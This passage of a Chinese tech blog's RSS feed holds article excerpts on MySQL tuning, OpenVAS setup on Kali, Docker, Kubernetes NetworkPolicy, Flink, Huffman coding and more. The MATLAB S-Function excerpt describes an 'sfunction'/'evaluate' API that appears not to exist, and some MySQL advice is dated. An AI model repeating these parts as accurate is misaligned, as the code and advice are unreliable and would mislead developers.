为了解决MySQL的性能瓶颈，我们需要采取一系列优化方法来提高MySQL的性能和可用性。下面将介绍MySQL的优化方法和策略。&#xA;1.硬件配置优化&#xA;硬件配置优化是MySQL性能优化的基础，对于MySQL系统的性能和稳定性都有着非常重要的影响。常见的硬件配置优化方法包括：&#xA;（1）升级硬件设备：如增加CPU的数量、提升内存容量、增加磁盘缓存等，以满足MySQL的性能需求。&#xA;（2）选择适当的硬件设备：根据MySQL的实际工作负载和访问模式，选择适当的硬件设备，如磁盘容量、网卡带宽等。&#xA;（3）RAID技术的应用：RAID技术可以提高磁盘IO的性能和数据安全性，通过数据备份和冗余存储等方式提供数据存储保障和性能增强。&#xA;（4）SSD的应用：SSD具有更快的读写速度和更低的延迟，可以有效提高MySQL的查询性能和并发处理能力。&#xA;2.软件配置优化&#xA;软件配置优化是MySQL性能优化的另一个重要方面，它主要包括MySQL参数的设置和调整。常见的软件配置优化方法包括：&#xA;（1）修改缓冲区大小：通过修改MySQL的缓存区大小来提高MySQL的性能和响应速度。例如，增加查询缓存的大小可减少查询时间，增加连接池大小可加快并发处理能力。&#xA;（2）调整连接数：MySQL的最大连接数决定了系统同时能处理的最大请求数量，需要根据实际负载情况进行调整来避免资源浪费。&#xA;（3）优化查询语句：通过合理的SQL语句设计和索引优化，可以减少查询次数和IO操作，从而提高MySQL的查询效率和响应速度。&#xA;（4）优化表结构：对于大型数据表，需要考虑拆分成更小的子表或使用分区表等方式来减少单个表的数据量，以提高查询速度和响应时间。&#xA;（5）使用主从复制：主从复制是常用的MySQL架构优化方法，它可以提供高可用性和高可扩展性，通过异地备份和读写分离等方式优化系统架构。&#xA;SQL语句优化 SQL语句优化是MySQL性能优化的关键，合理的SQL语句设计和索引优化可以显著提高系统的查询效率和响应速度。常见的SQL语句优化方法包括：&#xA;（1）使用索引：索引是MySQL查询的关键，通过合理的索引设计和使用，可以加快查询速度和减少IO操作，从而提高MySQL的性能。&#xA;（2）避免全表扫描：全表扫描是效率低下的查询方式，需要尽量避免使用。可以通过索引和条件过滤等方式优化查询语句，提高查询效率。&#xA;（3）合理使用JOIN：JOIN是SQL语句中常用的操作，但如果JOIN的表过多或不合理使用，会导致性能问题。需要合理选择JOIN的表和方式，避免无意义的JOIN操作。&#xA;（4）优化子查询：子查询是复杂查询的一种常见方式，但如果不合理使用，会导致性能问题。需要尽量避免嵌套过多的子查询和不必要的查询操作。&#xA;MySQL工具优化 MySQL还提供了多种工具来帮助进行性能优化和调试。常用的MySQL优化工具包括：&#xA;（1）EXPLAIN：用于分析和优化SQL语句执行计划。&#xA;（2）slow query log：用于记录查询时间超过阈值的慢查询日志，帮助找出查询效率低下的SQL语句。&#xA;（3）Percona Toolkit：包含多个实用工具，如pt-query-digest、pt-stalk等，可用于MySQL性能监控和调试。&#xA;（4）MySQL Enterprise Monitor：用于MySQL企业版的监控和管理，可帮助进行性能优化和故障诊断。&#xA;服务器环境优化 除了MySQL自身的优化，还可以通过优化服务器环境来提高MySQL的性能和响应速度。&#xA;（1）操作系统优化：操作系统也会影响MySQL的性能和稳定性，需要根据实际情况进行优化，如调整内核参数、优化网络设置等。&#xA;（2）网络优化：因为MySQL经常用于分布式环境中，网络优化是提升MySQL性能的有效方法。可以使用专门的网络加速工具、调整TCP/IP参数、优化HTTP协议等方式来提升网络传输性能。&#xA;（3）安全优化：安全也是服务器环境优化的重要方面，MySQL的安全问题主要包括SQL注入、权限控制、SSL/TLS加密等，需要采取一系列措施来保护MySQL的安全性。&#xA;数据库设计优化 除了对MySQL本身进行优化，对数据库结构和数据表的设计也可以显著影响MySQL的性能。以下是一些常用的数据库设计优化方法：&#xA;（1）冗余数据的处理：避免在多个数据表中存储相同的信息，这会增加查询和更新操作的负担。&#xA;（2）合理使用数据类型：选择恰当的数据类型可以减小数据表大小，从而提高查询和更新操作的效率。&#xA;（3）合理设计索引：索引是提高查询效率的关键，需要根据实际情况选择合适的字段作为索引，并避免创建过多或不必要的索引。&#xA;（4）分区表设计：对于单个数据表数据量较大的情况，可以采用分区表的方式将数据表划分成多个子表，以提高查询效率和响应速度。&#xA;（5）使用存储过程和触发器：存储过程和触发器可以在MySQL内部执行，减少通信开销，从而提高MySQL的性能。&#xA;总之，MySQL的性能优化是一个细致而长期的过程，需要不断学习和实践，综合运用多种方法和工具，才能最大程度地提高MySQL的性能和可用性。此外，还需要定期对MySQL进行健康检查和故障预警，及时发现并解决潜在的问题。</description>
    </item>
    <item>
      <title>深度学习垃圾分类数据集</title>
      <link>https://bchobby.github.io/posts/2406a5b97c20ff4683bdf73d3ab5dc52/</link>
      <pubDate>Mon, 15 May 2023 14:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2406a5b97c20ff4683bdf73d3ab5dc52/</guid>
      <description> 随着科技的发展，人工智能逐渐走进我们的生活。在这个过程中，数据集的重要性不言而喻。为了推动环保事业的发展，我们需要更多高质量的垃圾分类数据集。今天，我们将探讨一个包含2500+样本的垃圾分类数据集，它涵盖了6大类别：纸板、玻璃、金属、纸张、塑料和其他垃圾。&#xA;此数据集是通过网络搜集结合Trash数据集制作而成。&#xA;数据集概述 该垃圾分类数据集共有2500+个样本，分为6大类别。这些类别分别为：&#xA;纸板玻璃金属纸张塑料其他垃圾 数据集的样本数量分布均匀，每个类别都有足够的样本量。这有助于训练出更好的机器学习模型，提高分类准确率。&#xA;类别详解 现在让我们详细了解一下这6大类别：&#xA;1. 纸板 纸板类别主要包括各种厚度和形状的纸板，如：瓦楞纸板、硬纸板等。纸板通常可以回收利用，用于制造新的纸制品。&#xA;2. 玻璃 玻璃类别涵盖了各种玻璃制品，如：瓶子、罐子、窗户玻璃等。&#xA;3. 金属 金属类别包括各种金属制品，如：易拉罐、金属瓶盖、金属工具等。&#xA;4. 纸张 纸张类别主要包括各种纸质制品，如：报纸、杂志、书籍、纸巾等。&#xA;5. 塑料 塑料类别涵盖了各种塑料制品，如：塑料瓶、塑料袋、塑料餐具等。&#xA;6. 其他垃圾 其他垃圾类别包括了无法归类到上述五类的垃圾，如：陶瓷碎片、橡胶制品等。&#xA;应用场景 这个垃圾分类数据集可广泛应用于各种场景，例如：&#xA;基于图像识别的垃圾分类应用垃圾处理设备的智能识别系统垃圾回收站的自动分类系统 下载链接：trashnet-dataset-master.zip </description>
    </item>
    <item>
      <title>微信最新版本解除【文件只读】</title>
      <link>https://bchobby.github.io/posts/eb43aef46ff87065619f2686d8343fd1/</link>
      <pubDate>Mon, 15 May 2023 13:42:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb43aef46ff87065619f2686d8343fd1/</guid>
      <description>问题 某一天开始，微信自动升级到3.9版本，最大的改变就是接收到的文件是只读属性，网上目前有两个办法，1.降到3.8甚至更早版；2.将version.dll补丁文件复制到微信安装目录，但3.9.2版本就不能用了。&#xA;解决办法 使用小工具Quicker，它可以自定义编程，支持事件触发器功能。经过设置之后，它会自动监视微信存储文件的文件夹，每当微信接收新文件，工具会自动解除新文件的只读属性。&#xA;1.下载并安装Quicker&#xA;下载 - Quicker (getquicker.net)&#xA;安装过程不难，差不多一直next就行，但是改不了安装路径。&#xA;2.安装完之后可以在右下角看到Quicker的小图标&#xA;3.复制这个网址&#xA;https://getquicker.net/Sharedaction?code=39ee090b-5b59-4aef-eca1-08db14a936d9&#xA;4.按Ctrl键或者点击小图标，打开Quicker&#xA;5.在空白灰色的地方右击鼠标，点击【粘贴分享的动作】&#xA;（点击之后就会出现第一行第二个取线只读属性的动作）&#xA;6.点击这个小齿轮，打开设置窗口&#xA;7.复制下面这段内容&#xA;[ { &#34;Id&#34;: &#34;dc76691f-9c81-4fa1-a9a9-e050ae29a258&#34;, &#34;Note&#34;: &#34;取消微信文件只读属性&#34;, &#34;IsEnabled&#34;: true, &#34;EventType&#34;: &#34;FileSystemChange&#34;, &#34;DebounceTimMs&#34;: 0, &#34;Params&#34;: { &#34;Path&#34;: &#34;要监控的路径&#34;, &#34;Filter&#34;: &#34;*.*&#34;, &#34;IncludeSubdirectories&#34;: true, &#34;WatchCreated&#34;: true, &#34;WatchChanged&#34;: false, &#34;WatchDeleted&#34;: false, &#34;WatchRenamed&#34;: true, &#34;WatchError&#34;: false }, &#34;LastEditTimeUtc&#34;: &#34;2023-02-23T01:53:56.1881171Z&#34;, &#34;ValidForMachines&#34;: &#34;&#34;, &#34;ActionIdOrName&#34;: &#34;取消只读属性&#34;, &#34;ActionParam&#34;: &#34;$${FullPath}&#34;, &#34;SkipFurtherTasks&#34;: false, &#34;DelayMs&#34;: 2000, &#34;EventFilterExpression&#34;: &#34;$=File.Exists({FullPath}) \r\n &amp;amp;&amp;amp; Path.GetExtension({Name}).Length &amp;lt; 10\r\n &amp;amp;&amp;amp; (new FileInfo({FullPath})).</description>
    </item>
    <item>
      <title>Vue.nextTick()【问题引入和分析】</title>
      <link>https://bchobby.github.io/posts/4b4f7bf8db7d8f0240145628160d2051/</link>
      <pubDate>Mon, 15 May 2023 11:18:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b4f7bf8db7d8f0240145628160d2051/</guid>
      <description>Vue.nextTick() 前言 在此之前，你需要了解：事件循环，重排和重绘，Diff算法，会让你更好的理解本文&#xA;内容 先引入一个问题&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;p&amp;gt;{{ message }}&amp;lt;/p&amp;gt; &amp;lt;button @click=&#34;changeMessage&#34;&amp;gt;Change Message&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { message: &#39;Hello Vue!&#39; } }, methods: { changeMessage() { this.message = &#39;Updated Message&#39; console.log(this.$el.textContent) // 输出 &#34;Hello Vue!&#34; this.$nextTick(function () { console.log(this.$el.textContent) // 输出 &#34;Updated Message&#34; }) } } } &amp;lt;/script&amp;gt; 在 changeMessage 方法中，更改了组件的 message 数据，并尝试记录 $el.textContent 的值。&#xA;但是，由于 Vue 在进行数据更改后不会立即更新DOM(虚拟DOM异步处理)，所以在记录文本内容时 $el.textContent 仍然是旧值 Hello Vue!&#xA;那么为什么进行数据更改后不会立即更新呢？</description>
    </item>
    <item>
      <title>Kali-linux使用OpenVAS</title>
      <link>https://bchobby.github.io/posts/8a745f3357d59378f223c0514e1aae4b/</link>
      <pubDate>Mon, 15 May 2023 11:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a745f3357d59378f223c0514e1aae4b/</guid>
      <description>OpenVAS（开放式漏洞评估系统）是一个客户端/服务器架构，它常用来评估目标主机上的漏洞。OpenVAS是Nessus项目的一个分支，它提供的产品是完全地免费。OpenVAS默认安装在标准的Kali Linux上，本节将介绍配置及启动OpenVAS。&#xA;5.2.1 配置OpenVAS OpenVAS默认在Kali Linux中已经安装。如果要使用该工具，还需要进行一些配置。配置OpenVAS具体操作步骤如下所示。&#xA;（1）在终端窗口中切换到OpenVAS目录，为OpenVAS程序创建SSL证书。执行命令如下所示：&#xA;root@kali:~# cd /usr/share/openvas/ root@kali:/usr/share/openvas# openvas-mkcert 执行以上命令后，将输出如下所示的信息：&#xA;以上提示的信息，可以配置也可以不配置。如果不想配置的话，直接按下Enter键接收默认值即可。以上信息设置完后，将显示以下信息：&#xA;----------------------------------------------- Creation of the OpenVAS SSL Certificate ----------------------------------------------- Congratulations. Your server certificate was properly created. The following files were created: . Certification authority: Certificate = /var/lib/openvas/CA/cacert.pem Private key = /var/lib/openvas/private/CA/cakey.pem . OpenVAS Server : Certificate = /var/lib/openvas/CA/servercert.pem Private key = /var/lib/openvas/private/CA/serverkey.pem Press [ENTER] to exit 输出的信息显示了创建的OpenVAS证书及位置。此时按下Enter键，退出程序。&#xA;（2）使用OpenVAS NVT Feed同步OpenVAS NVT数据库，并且更新最新的漏洞检查。执行命令如下所示：&#xA;root@kali:/usr/share/openvas# openvas-nvt-sync [i] This script synchronizes an NVT collection with the &#39;OpenVAS NVT Feed&#39;.</description>
    </item>
    <item>
      <title>《计算机网络—自顶向下方法》 Wireshark实验（二）：HTTP协议分析</title>
      <link>https://bchobby.github.io/posts/c4d09eff7d387befb4b5be3fe68eac74/</link>
      <pubDate>Mon, 15 May 2023 11:06:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4d09eff7d387befb4b5be3fe68eac74/</guid>
      <description>HTTP 协议工作于客户端-服务端架构上。浏览器作为 HTTP 客户端通过 URL 向 HTTP 服务端即 WEB 服务器发送所有请求。&#xA;WEB 服务器有：Apache服务器，IIS服务器（Internet Information Services）等。URL：即统一资源定位符(Uniform Resource Locator)，用来唯一地标识万维网中的某一个文档。URL由协议、主机和端口(默认为80)以及文件名三部分构成。如： HTTP 默认端口号为80，但是你也可以改为8080或者其他端口。&#xA;HTTP 协议是属于应用层协议，并建立在 TCP/IP 的基础之上的超文本传输协议。当用户访问 WEB 服务器上的一个网页时，首先向 WEB 服务器提出连接请求，WEB 服务器接受并解析 HTTP 请求，然后从服务器的文件系统获取所请求的文件，将响应消息发送给客户端，客户端浏览器将收到的文件内容显示出来。如果请求的文件不存在于服务器中，则服务器应该向客户端发送“ 404 Not Found ”差错报文。&#xA;本实验通过对具体的请求响应过程中协议内容的分析来理解和掌握 HTTP 协议的通信过程。&#xA;1 HTTP 协议 1.1 HTTP 基本请求与应答 HTTP 请求包括三部分，分别是请求行（请求方法）、请求头（消息报头）和请求正文。HTTP 请求第三行为请求正文，请求正文是可选的，它最常出现在 post 请求方式中，get 请求无正文，所以回车之后为空。示例如下：&#xA;请求行&#xA;由三部分构成：第一部分说明请求类型为 get 方法请求，第二部分（用/分开）是资源 URL，第三部分说明使用的是 HTTP1.1 版本。&#xA;GET /success.txt HTTP/1.1\r\n 常见的请求方法如下图所示：&#xA;其中用得最多的方法是 get 方法和 post 方法，二者的区别：&#xA;get 直接在浏览器输入，post 需要工具发送请求；get 用 url 或者 cookie 传参，post 将数据放在 body 中；get 的 URL 有长度限制，post 数据可以非常大；post 比 get 安全，因为 URL 看不到数据；get 用来获取数据，post 用来发送数据。 请求头</description>
    </item>
    <item>
      <title>Flink窗口-计数窗口（CountWindow）</title>
      <link>https://bchobby.github.io/posts/d0bc26cab64f812ad63a29dd6b5dccfc/</link>
      <pubDate>Mon, 15 May 2023 10:40:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0bc26cab64f812ad63a29dd6b5dccfc/</guid>
      <description>文章目录 Flink窗口-CountWindow使用（一）数量窗口的本质（二）数量窗口的使用（1）调用Window API（2）Window触发时执行计算逻辑① 匿名内部类方式② 自定义WindowFunction③ 示例演示 Flink窗口-CountWindow使用 （一）数量窗口的本质 前篇中，我们已经初略讲解了Flink中的数量窗口与时间窗口。&#xA;无论是哪一种窗口，他们的作用都类似于计算器（计算数量、时间）仅仅只是让数据堆积（不会像默认的流处理，来一条处理一条），只有当满足触发计算时机的时候，便开始计算，比如五个数据才计算，或者五秒钟才计算一次…&#xA;数量窗口的核心，便是数量的定义，当我们数据达到定义的量时，便会触发窗口计算逻辑&#xA;那么数量窗口究竟如何使用呢？哎，让我们来一探究竟！&#xA;（二）数量窗口的使用 我们首先还是回顾下Flink计算程序步骤&#xA;获取执行环境&#xA;StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); env.setRuntimeMode(RuntimeExecutionMode.STREAMING); env.setParallelism(1); 加载数据源&#xA;DataStreamSource&amp;lt;Location&amp;gt; locationSource = env.addSource(new LocationSource()) 数据转换处理&#xA;//todo 我们这里，数据转换就使用CountWindow&#xA;数据输出&#xA;// 例如输出到mysql result.addSink(new MysqlSink()); // 例如输出到控制台 result.print(); 执行&#xA;env.execute(&#34;count-window&#34;); 窗口使用前提：&#xA;在使用窗口前，我们必须要确保已经有了数据源&#xA;根据选择是否使用KeyBy算子（后边会讲）&#xA;（1）调用Window API 我们直接使用我们的数据源来调用Window API即可&#xA;ex：&#xA;source.countWindow(一个窗口容纳数据数量); 返回值，返回了一个WindowedStream&amp;lt;Location, Integer, GlobalWindow&amp;gt; 类型的数据流.&#xA;这步代码仅表示此计算程序使用的是CountWindow,且窗口的大小为1,如此设置，那么每来一个数据触发一次窗口计算，设置为2，则每相同的KEY出现两次，才会执行对应数据窗口计算（正如上方所说，起到了一个计算器的作用，那么我这里则是一个数据触发一次计算时机）&#xA;但需要注意，这里窗口并不涉及到计算逻辑！！！！！！&#xA;（2）Window触发时执行计算逻辑 上边，我们的窗口已经拿到了数据了，拿到窗口后的数据，如何触发计算呢？&#xA;如果需要窗口中执行逻辑，我们要调用apply算子；apply算子，必须作用在WindowedStream&#xA;ex:&#xA;DataStream&amp;lt;T&amp;gt; result = windowedStream.apply(算子逻辑实现); 我们使用IDEA 参数提示，来看下我们的的apply算子究竟需要什么参数&#xA;查阅发现，WindowFunction 是一个接口，其中还有一个apply抽象方法&#xA;IN:入参&#xA;OUT:出参</description>
    </item>
    <item>
      <title>如何将 Docker 镜像大小从 1.43 GB 减少到 22.4 MB</title>
      <link>https://bchobby.github.io/posts/28054ffc52315a243852e79c80522fd7/</link>
      <pubDate>Mon, 15 May 2023 10:27:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28054ffc52315a243852e79c80522fd7/</guid>
      <description>如果你正在从事 Web 开发，那么你可能已经了解过容器化的概念以及它的优点。&#xA;但是，当使用 Docker 时，镜像大小是一个很大的问题。仅仅是从 create-react-app 中得到的样板项目就通常超过 1.43 GB。&#xA;今天我们将会容器化一个 ReactJS 应用程序，并学习一些关于如何减小镜像大小以及同时提高性能的技巧。&#xA;这些技巧将会展示给 ReactJS，但它同样适用于任何 NodeJS 应用程序。&#xA;步骤1：创建您的项目 把你的终端打开，输入以下命令：&#xA;npx create-react-app docker-image-test 然后create-react-app将为您提供基本的 React 应用程序。&#xA;之后，进入根目录并运行项目。&#xA;cd docker-image-testyarn installyarn start 然后转到http://localhost:3000查看您的应用程序是否已启动并正在运行。&#xA;步骤2：构建您的第一个图像 在项目的根目录中，创建一个名为Dockerfile的文件并将以下代码粘贴到其中。&#xA;FROM node:12 WORKDIR /app COPY package.json ./ RUN yarn install COPY . . EXPOSE 3000 CMD [&#34;yarn&#34;, &#34;start&#34;] 请注意，我们正在从 docker hub 获取基本映像 node:12，安装依赖项并运行基本命令。（这里不深入docker命令的细节）&#xA;现在从您的终端，为您的容器构建图像。&#xA;docker build -t docker-image-test . Docker 将构建您的映像。完成后，您可以使用此命令查看您的图像。&#xA;docker images 列表顶部是我们新创建的图像，在最右侧，我们可以看到图像的大小。现在是1.43GB 。&#xA;我们可以使用以下命令运行图像</description>
    </item>
    <item>
      <title>kubernetes网络隔离(Networkpolicy)</title>
      <link>https://bchobby.github.io/posts/87916e26afaa6d6d3c9b37975f1124c8/</link>
      <pubDate>Mon, 15 May 2023 10:01:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87916e26afaa6d6d3c9b37975f1124c8/</guid>
      <description>在 Kubernetes 里，网络隔离能力的定义，是依靠一种专门的 API 对象来描述的，即：NetworkPolicy。&#xA;一个完整的 NetworkPolicy 对象的示例，如下所示：&#xA;apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: test-network-policy namespace: default spec: podSelector: matchLabels: role: db policyTypes: - Ingress - Egress ingress: - from: - ipBlock: cidr: 172.17.0.0/16 except: - 172.17.1.0/24 - namespaceSelector: matchLabels: project: myproject - podSelector: matchLabels: role: frontend ports: - protocol: TCP port: 6379 egress: - to: - ipBlock: cidr: 10.0.0.0/24 ports: - protocol: TCP port: 5978 Kubernetes 里的 Pod 默认都是“允许所有”（Accept All）的即：Pod 可以接收来自任何发送方的请求；或者，向任何接收方发送请求。而如果你要对这个情况作出限制，就必须通过 NetworkPolicy 对象来指定。</description>
    </item>
    <item>
      <title>【自制视频课程】C&#43;&#43;OpnecV基础35讲——第一章 前言</title>
      <link>https://bchobby.github.io/posts/cb8eb469ed8270fcf42080e8e96a20ad/</link>
      <pubDate>Mon, 15 May 2023 09:19:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb8eb469ed8270fcf42080e8e96a20ad/</guid>
      <description> 为什么要学习OpenCV？ 首先，opencv是一个广泛使用的计算机视觉库，它提供了丰富的图像处理和计算机视觉算法，可以帮助我们快速地开发出高质量的图像处理应用程序；&#xA;其次，opencv是一个开源库，可以免费使用和修改，这为我们提供了一个学习和研究计算机视觉的良好平台；&#xA;最后，opencv是一个跨平台的库，支持多种操作系统和编程语言，包括C++、Python和Java等，这使得我们可以在不同的平台上开发出具有高度可移植性的图像处理应用程序。&#xA;学习opencv可以帮助我们掌握各种图像处理和计算机视觉算法，如图像滤波、特征提取、目标检测、人脸识别等。这些算法可以应用于各种领域，如医疗、安防、交通、娱乐等。例如，在医疗领域，我们可以使用opencv中的图像分割算法来分割医学图像，以便医生更好地诊断疾病。在安防领域，我们可以使用opencv中的目标检测算法来检测和跟踪人员和车辆，以保障公共安全。在交通领域，我们可以使用opencv中的车辆识别算法来实现智能交通系统，提高交通效率。以及我们可以使用opencv中的人脸识别算法来实现人脸识别门禁系统，提高安全性。&#xA;因此，学习opencv它可以帮助我们掌握各种图像处理和计算机视觉算法，应用于各种领域。同时，opencv是一个开源跨平台的库，可以免费使用和修改，为我们提供了一个学习和研究计算机视觉的良好平台。&#xA;C++OpenCV学习规划 1. OpenCV基础知识：首先，学生应该了解OpenCV的基础知识，包括图像的读取、显示、保存以及像素操作等基本操作。&#xA;2. 图像处理算法：接学生应该学习一些常见的图像处理算法，例如滤波、边缘检测、二值化、形态学操作等。&#xA;3. 特征提取与描述：学生应该学习如何提取图像中的特征，并将其描述为向量或描述符。这包括SIFT、SURF、ORB等算法。&#xA;4. 目标检测与跟踪：学生应该学习如何使用OpenCV实现目标检测和跟踪。这包括Haar特征检测、HOG+SVM、卡尔曼滤波等算法。&#xA;5. 深度学习与计算机视觉：最后，学生应该学习如何使用深度学习来解决计算机视觉问题。这包括使用OpenCV和TensorFlow/Keras实现卷积神经网络、循环神经网络等算法。&#xA;课程地址 传统图像算法：c++OpenCV从算法原理基础到项目实战 (lizhiweike.com)https://m.lizhiweike.com/channel2/1396545 </description>
    </item>
    <item>
      <title>python加入环境变量sys.append</title>
      <link>https://bchobby.github.io/posts/f92f14b6ec38f0f8682f3bd2268e5a91/</link>
      <pubDate>Sun, 14 May 2023 18:53:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f92f14b6ec38f0f8682f3bd2268e5a91/</guid>
      <description>https://docs.python.org/3.11/tutorial/modules.html&#xA;import sys sys.path.append(&#39;/ufs/guido/lib/python&#39;) 若是提示找不到相应的.py档案，不能正确导入import，可以使用这个加入到环境变量</description>
    </item>
    <item>
      <title>Oracle：RHEL7.5安装Oracle19C单实例（图形界面版）</title>
      <link>https://bchobby.github.io/posts/db93074781b0a4a944008ad52c8299e7/</link>
      <pubDate>Sun, 14 May 2023 18:09:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db93074781b0a4a944008ad52c8299e7/</guid>
      <description>作者 | 夜说&#xA;个人公众号 | 夜说的数据库笔记&#xA;原文链接 | Oracle：RHEL7.5安装Oracle19C单实例（图形界面版）&#xA;目录&#xA;01前言&#xA;02安装说明&#xA;03安装前配置&#xA;3.1关闭防火墙和SELINUX&#xA;3.2禁用numa和透明大页&#xA;3.3修改hosts文件&#xA;3.4修改login文件&#xA;3.5创建用户和用户组&#xA;3.6创建数据库软件目录和数据文件目录&#xA;3.7修改用户限制&#xA;3.8修改内核参数&#xA;3.9修改network文件&#xA;3.10修改Oracle用户环境变量&#xA;3.11配置yum源&#xA;3.12解压Oracle安装包&#xA;3.13补充安装以下rpm包&#xA;04安装数据库软件&#xA;4.1打开xmanager调出图形化界面&#xA;4.2安装数据库软件&#xA;05安装数据库&#xA;06确认安装正常&#xA;01前言 本文基于红帽7.5系统安装Oracle19C单实例，使用图形界面进行安装。&#xA;02安装说明 一、系统版本(带GUI安装） [root@oracle19c ~]# cat /etc/redhat-release Red Hat Enterprise Linux Server release 7.5 (Maipo) 二、磁盘大小 [root@oracle19c ~]# df -Th Filesystem Type Size Used Avail Use% Mounted on /dev/mapper/rhel-root xfs 71G 3.4G 68G 5% / devtmpfs devtmpfs 1.</description>
    </item>
    <item>
      <title>赫夫曼树和赫夫曼编码详解</title>
      <link>https://bchobby.github.io/posts/791e1d75fea2337e17acc9def58e353e/</link>
      <pubDate>Sat, 13 May 2023 16:00:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/791e1d75fea2337e17acc9def58e353e/</guid>
      <description>目录&#xA;何为赫夫曼树？&#xA;赫夫曼树算法&#xA;赫夫曼编码&#xA;编程实现赫夫曼树&#xA;编程实现赫夫曼编码&#xA;编程实现WPL&#xA;总代码及分析&#xA;何为赫夫曼树？ 树的路径长度：从树根到每一结点的路径长度之和&#xA;结点的带权路径长度：从树根到该结点的路径长度与结点上权的乘积&#xA;树的带权路径长度：树中所有叶子结点的带权路径长度之和&#xA;假设有n个权值(w1.w2,,,Wn),试构造一棵有n个叶子结点的二叉树，每个叶子结点带权为Wi,则其中WPL最小的二叉称做最优二叉树或赫夫曼树。&#xA;赫夫曼树算法 (1)根据给定的n个权值(w1，w2，…，Wn，)构成n棵二叉树的集合F=(T1，T2，…，Tn，其中每棵二叉树Ti中只有一个带权为wi的根结点，其左右子树均空。&#xA;(2)在F中选取两棵根结点的权值最小的树作为左右子树构造一棵新的二叉树，且置新的二叉树的根结点的权值为其左、右子树上根结点的权值之和。&#xA;(3)在F中删除这两棵树，同时将新得到的二叉树加入F中。&#xA;(4)重复(2)和(3)，直到F只含一棵树为止。这棵树便是赫夫曼树。&#xA;如下图：&#xA;赫夫曼编码 设一课二叉树为：&#xA;其3个叶子结点分别表示a、b、c3个字符， 约定左分支表示字符‘0’，右分支表示字符‘1’。则可以从根结点到叶子结点的路径上分支字符组成的字符串作为该叶子结点字符的编码。如上图可以得到a、b、c的二级制前缀编码分别为：0、10、11。&#xA;如何得到使电文总长最短的二级制编码？假设每种字符在电文中出现的次数为i,编码长度为j,而电文只有n种字符，则电文总长为n种i*j的和。对应到二叉树上，若i表示叶子结点的权值，j为从根到叶子的路径长度。则电文总长恰为二叉树带权路径长度。所以，设计电文总长最短的二级制前缀编码即以N种字符出现的频率作为权值，设计一颗赫夫曼树的问题&#xA;编程实现赫夫曼树 //哈夫曼树的存储表示 typedef struct { int weight; //节点的权值 int parent, lchild, rchild; //节点的双亲，左孩子和右孩子 } HTNode, * HuffmanTree; typedef char** HuffmanCode; //查权值最小且双亲为0的节点 void Select(HuffmanTree HT, int len, int&amp;amp; s1, int&amp;amp; s2) { int i, min1 = 0x3f3f3f3f, min2 = 0x3f3f3f3f; //先赋予最大值 for (i = 1; i &amp;lt;= len; i++) { if (HT[i].</description>
    </item>
    <item>
      <title>【MATLAB】基于S-Function的RFID ASK调制</title>
      <link>https://bchobby.github.io/posts/5f3b68bb2e18c29fde848e358f1fdc26/</link>
      <pubDate>Sat, 13 May 2023 15:04:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f3b68bb2e18c29fde848e358f1fdc26/</guid>
      <description>目录&#xA;在MATLAB代码中调用用户自定义的S-Function.m文件&#xA;编写S-Function实现ASK调制&#xA;使用MATLAB语言编写S-Function源文件&#xA;在Simulink中调用S-function&#xA;在MATLAB代码中调用用户自定义的S-Function.m文件&#xA;1. 将S-Function.m 文件添加到MATLAB搜索路径中。&#xA;a. 在MATLAB命令窗口中使用addpath函数将S-Function.m文件所在的目录添加到MATLAB搜索路径中。例如：addpath(&#39;C:\MySfuncFolder&#39;)&#xA;b. 可以将文件夹路径添加到MATLAB搜索路径中。在MATLAB窗口下，单击Set Path，然后选择Add Folder，将S-Function.m文件所在的文件夹添加到搜索路径中。&#xA;2. 在MATLAB代码中使用s-function构造函数创建S-Function对象，并设置输入、输出和参数属性。例如：&#xA;s = sfunction(&#39;mySfunc&#39;); s.InputPortWidth = 1; s.InputPort(1).DatatypeID = 0; s.OutputPortWidth = 1; s.OutputPort(1).DatatypeID = 0; s.NumDialogPrms = 0; 这将创建一个名为&#34;mySfunc&#34;的S-Function对象，并设置输入和输出端口的数据类型和宽度属性。&#xA;3. 调用set函数设置S-Function对象的输入端口数据。例如：&#xA;set(s, &#39;Inputs&#39;, {1}); 这将设置S-Function对象的一个输入端口数据为1。&#xA;4. 调用evaluate函数运行S-Function对象，并获取输出结果。例如：&#xA;y = evaluate(s); disp(y); 这将运行S-Function对象并获取输出结果y，并在命令窗口中打印输出结果。&#xA;需要注意的是，S-Function.m文件需要遵循特定的S-Function接口规范，包括输入和输出参数及执行函数。开发人员需要了解如何编写或使用S-Function代码，并按照规范实现S-Function接口。在MATLAB中调用S-Function.m时，需要创建S-Function对象并设置相关属性，然后运行evaluate函数以获取输出结果。&#xA;编写S-Function实现ASK调制 1. 创建S-Function模板。可以使用MATLAB提供的S-Function模板创建S-Function。在MATLAB命令窗口中输入以下代码即可创建一个基本的S-Function模板：&#xA;sfcn_template 2. 编写S-Function函数。&#xA;a. 打开生成的S-Function源文件（sfun_template.c），可以在S-Function函数中实现ASK调制。&#xA;b. 在S-Function函数中定义输入、输出和参数，以便从Simulink模型中获取输入数据，执行ASK调制算法，并将输出数据返回模型。&#xA;c. 实现S-Function函数的输出函数，在这里可以进行ASK调制。例如：&#xA;static void mdlOutputs(SimStruct *S, int_T tid) { double *y = (double *)ssGetOutputPortSignal(S, 0); double *u = (double *)ssGetInputPortSignal(S, 0); double fc = *mxGetPr(ssGetSFcnParam(S,0)); double f = 2.</description>
    </item>
    <item>
      <title>微信聊天记录导出(华为手机版)</title>
      <link>https://bchobby.github.io/posts/51812d8588a1d1b33a78240a2f95f840/</link>
